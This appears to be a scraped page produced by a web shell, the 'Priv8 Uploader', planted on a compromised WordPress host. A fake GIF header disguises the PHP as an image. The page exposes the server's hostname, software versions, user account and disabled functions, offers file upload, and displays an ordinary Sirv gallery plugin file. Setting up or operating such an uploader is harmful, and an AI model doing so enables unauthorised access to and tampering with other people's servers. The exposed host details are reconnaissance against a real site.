GIF89a;

Priv8 Uploader By InMyMine7

Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
root@viangans
HEX
Server: Apache/2.4.65 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
User: fluxionuser (1005)
PHP: 8.3.28
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/fluxionuser/web/kastudio.in/public_html/wp-content/plugins/sirv/plugdata/shortcodes.php
<?php

defined( 'ABSPATH' ) or die( 'No script kiddies please!' );

function sirv_gallery($atts){

    //if(is_admin()) return false;

    wp_enqueue_style('sirv-gallery', plugins_url('/css/wp-sirv-gallery.css', __FILE__));
    //wp_enqueue_script('sirv-js', 'https://scripts.sirv.com/sirv.js', array(), false, true);

    extract(shortcode_atts( array('id' => ''), $atts));

    global $wpdb;

    $table_name = $wpdb->prefix . 'sirv_shortcodes';

    $row =  $wpdb->get_row("SELECT * FROM $table_name WHERE id = " . intval($id), ARRAY_A);

    if (empty($row)) return;

    $items_data = unserialize($row['images']);
    $shortcode_options = unserialize($row['shortcode_options']);

    if(empty($shortcode_options['global_options'])) $shortcode_options['global_options'] = array();
    if(empty($shortcode_options['spin_options'])) $shortcode_options['spin_options'] = array();
    if(empty($shortcode_options['zgallery_data_options'])) $shortcode_options['zgallery_data_options'] = array();
    if(empty($shortcode_options['zgallery_data_options']['thumbnails'])) $shortcode_options['zgallery_data_options']['thumbnails'] = 'bottom';

    $items = array();
    $captions = array();

    foreach ($items_data as $item) {
        //array_push($items, $item['url']);
        $image_width = array_key_exists('image_width', $item) ? $item['image_width'] : 0;
        $image_height = array_key_exists('image_height', $item) ? $item['image_height'] : 0;
        array_push($items, array(
            'url' =>$item['url'],
            'image_width'=> $image_width,
            'image_height'=> $image_height,
            'caption' => stripslashes($item['caption']),
            'type' => $item['type']
        ));
        array_push($captions, stripslashes($item['caption']));
    }

    $options = array(
        'width' => $row['width'],
        'height' => 'auto',
        'link_image' => filter_var($row['link_image'], FILTER_VALIDATE_BOOLEAN),
        'profile' => trim($row['profile']),
        'show_caption' => filter_var($row['show_caption'], FILTER_VALIDATE_BOOLEAN),
        'is_gallery' => filter_var($row['use_as_gallery'], FILTER_VALIDATE_BOOLEAN),
        'apply_zoom' => filter_var($row['use_sirv_zoom'], FILTER_VALIDATE_BOOLEAN),
        'thumbnails_height' => $row['thumbs_height'],
        'gallery_styles' => $row['gallery_styles'],
        'gallery_align' => $row['align'],
        'zgallery_data_options' => $shortcode_options['zgallery_data_options'],
        'zgallery_thumbs_position' => $shortcode_options['zgallery_data_options']['thumbnails'],
        'spin_options' => $shortcode_options['spin_options'],
        'global_options' => $shortcode_options['global_options']
    );

    $gallery = null;
    $dependencies = array('jquery');

    /*global $pagenow;
    if ( !in_array($pagenow, array('post-new.php', 'post.php', 'edit-tags.php')) ) {
        $dependencies[] = 'sirv-js';
    } */

    wp_enqueue_script('sirv-gallery-mv-viewer', plugins_url('/js/wp-sirv-mv-gallery.js', __FILE__), $dependencies, false, true);
    require_once 'sirv-gallery-mv.php';
    $gallery = new Sirv_Gallery_MV($options, $items, $captions);

    return $gallery->render();
}

add_shortcode( 'sirv-gallery', 'sirv_gallery' );
?>